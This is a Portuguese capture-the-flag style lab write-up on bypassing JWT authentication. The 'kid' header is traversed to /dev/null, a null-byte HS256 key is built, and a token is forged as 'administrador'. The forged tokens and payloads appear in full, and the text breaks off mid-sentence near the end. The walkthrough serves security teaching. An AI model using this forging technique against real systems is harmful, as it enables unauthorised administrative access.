> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md).

# Contorno de Autenticação JWT via Traversal de Caminho no kid

### Bypass de autenticação JWT via path traversal no cabeçalho kid

#### Contexto do laboratório

A aplicação usa JWT para gerenciar sessões. Para verificar a assinatura, o servidor lê o cabeçalho do JWT e recupera a chave de verificação do **sistema de arquivos** com base no valor do `kid` campo (ID da chave). / Problema: O `kid` valor não é validado corretamente, permitindo uma **travessia de caminho** para apontar para um arquivo arbitrário do sistema.

Objetivo: forjar um JWT dando acesso a `/admin`, depois excluir usuário **carlos**.

#### Ponto de partida

Depois de se conectar a `wiener:peter`, você obtém um JWT válido:

* Cabeçalho : `alg = HS256`, `kid = <uuid>`
* Payload : `sub = wiener`

```bash
eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU
```

<figure><img src="/files/215196efa65b6ebd0c10d186ff4b345946162d73" alt=""><figcaption></figcaption></figure>

#### Ideia do ataque

À medida que `kid` serve como um caminho para carregar a chave, podemos tentar tirá-la do diretório esperado com `../` para apontar para um arquivo especial: **`/dev/null`**.

* `/dev/null` se comporta como um arquivo "vazio".
* Se o servidor carregar a chave desse arquivo, ele encontra (neste cenário) para verificar a assinatura uma chave equivalente a **nulo / vazio**.

<figure><img src="/files/bba665229fe51f8f4d87d89d68ee6fcbe5c16ac1" alt=""><figcaption></figcaption></figure>

#### Construção de uma chave simétrica

Você gera um byte zero e o codifica em Base64:

* Comando:

```bash
echo -ne '/0' | base64

AA==
```

Depois você constrói um JWK simétrico (`kty: oct`) cuja chave (`k`) é `AA==`:

```json
{
    "kty": "oct",
    "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c",
    "k": "AA=="
}
```

(O JWK `kid` aqui serve apenas como identificador do lado da ferramenta; este é o `k` valor.)

<figure><img src="/files/1a75126a7dede91197b548001067f60c06973150" alt=""><figcaption></figcaption></figure>

#### Exploração: `kid` Travessia para `/dev/null`

Em seguida, você altera o cabeçalho do JWT para apontar `kid` para `/dev/null` por meio de travessia de caminho:

```json
{
    "kid": "../../../../../../../../dev/null",
    "alg": "HS256"
}
```

Em seguida, você altera o `sub` no payload para se tornar uma conta de administrador (no seu caso `administrador`) e assina o JWT em HS256 com a chave "nula" (`AA==`).

<figure><img src="/files/ee8cd864bc2e2202c442b5944054252e6f6e0ca2" alt=""><figcaption></figcaption></figure>

#### Resultado

JWT forjado final (o que você fornece):

* `kid` atravessa até `/dev/null`
* `alg` permanece `HS256`
* `sub` torna-se `administrador`

```bash
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYWRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo
```

<figure><img src="/files/691a5f8898b7c6d119d3e3e81c4efc05361341ac" alt=""><figcaption></figcaption></figure>

O servidor \*\*aceita\*\* o token: ele confirma que a `kid` resolução é utilizável e que a verificação da assinatura é feita com uma chave derivada do arquivo-alvo (aqui

<figure><img src="/files/4128008aa8eb47e640be37bdfaf0f157dbd3bb38" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
